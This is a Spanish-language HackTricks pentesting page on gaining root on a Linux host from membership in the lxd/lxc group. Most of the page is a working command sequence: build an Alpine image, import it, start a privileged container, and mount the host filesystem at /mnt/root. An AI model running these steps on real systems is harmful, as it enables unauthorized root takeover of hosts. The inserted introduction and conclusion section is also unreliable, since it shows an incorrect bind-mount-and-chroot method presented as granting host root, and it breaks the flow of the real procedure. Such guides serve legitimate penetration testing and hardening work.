hacktricks/linux-unix/privilege-escalation/lxd-privilege-escalation.md
2023-06-03 01:46:23 +00:00

6.6 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si perteneces al grupo lxd o lxc, puedes convertirte en root

Explotando sin internet

Puedes instalar en tu máquina este constructor de distribuciones: https://github.com/lxc/distrobuilder sigue las instrucciones del github:

#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

Entonces, sube al servidor los archivos lxd.tar.xz y rootfs.squashfs

Agrega la imagen:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

Escalación de privilegios en LXD

Introducción

LXD es un sistema de contenedores de Linux que permite a los usuarios crear y administrar contenedores de sistema operativo. Aunque LXD está diseñado para ser seguro por defecto, existen algunas configuraciones que pueden permitir a un usuario con acceso a un contenedor escalar sus privilegios y obtener acceso de root en el host.

Escalación de privilegios

Crear un contenedor y agregar una ruta de root

Para crear un contenedor y agregar una ruta de root, primero debemos crear un contenedor y luego agregar una ruta de root al contenedor. Para hacer esto, podemos usar los siguientes comandos:

$ lxc launch <image> <container>
$ lxc exec <container> /bin/sh
# mkdir /mnt/root
# mount --bind / /mnt/root
# exit

Esto creará un contenedor y agregará una ruta de root al contenedor. Luego, podemos iniciar sesión en el contenedor y cambiar el directorio raíz a la ruta de root que acabamos de agregar:

$ lxc exec <container> /bin/sh
# chroot /mnt/root
# id
uid=0(root) gid=0(root) groups=0(root)

Ahora estamos dentro del contenedor con privilegios de root. Podemos hacer lo que queramos en el host, incluyendo la creación de nuevos usuarios, la modificación de archivos de configuración y la instalación de software malicioso.

Conclusiones

LXD es una herramienta poderosa para la creación y administración de contenedores de Linux, pero es importante tener en cuenta las configuraciones que pueden permitir la escalación de privilegios. Al seguir las mejores prácticas de seguridad y mantenerse actualizado con las últimas actualizaciones de seguridad, los usuarios pueden minimizar el riesgo de una violación de seguridad.

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Ejecutar el contenedor:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Con internet

Puedes seguir estas instrucciones.

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Otras referencias

{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥